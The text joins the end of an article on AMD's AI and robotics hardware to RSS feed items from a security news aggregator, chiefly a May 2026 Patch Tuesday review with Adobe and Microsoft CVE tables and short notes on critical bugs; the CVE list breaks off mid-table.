<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse]]></title>
<description><![CDATA[Discover how to create self-evolving AI agents using the OpenSpace framework. This tutorial guides you through the entire workflow—from environment setup and custom skill creation to MCP integration and using SQLite to manage agent lineage—empowering you to build more efficient, reusable agent sy...]]></description>
<link>https://tsecurity.de/de/3694704/ai-nachrichten/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694704/ai-nachrichten/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Discover how to create self-evolving AI agents using the OpenSpace framework. This tutorial guides you through the entire workflow—from environment setup and custom skill creation to MCP integration and using SQLite to manage agent lineage—empowering you to build more efficient, reusable agent systems.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/25/building-self-evolving-ai-agents-with-openspace-using-skills-mcp-lineage-and-low-cost-reuse/">Building Self-Evolving AI Agents with OpenSpace Using Skills, MCP, Lineage, and Low-Cost Reuse</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The 20 percent rule for solar panels can help you save money in the long run]]></title>
<description><![CDATA[Building your solar panel system with some extra capacity makes managing it a bit easier.]]></description>
<link>https://tsecurity.de/de/3694679/it-nachrichten/the-20-percent-rule-for-solar-panels-can-help-you-save-money-in-the-long-run/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694679/it-nachrichten/the-20-percent-rule-for-solar-panels-can-help-you-save-money-in-the-long-run/</guid>
<pubDate>Sat, 25 Jul 2026 19:37:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Building your solar panel system with some extra capacity makes managing it a bit easier.]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
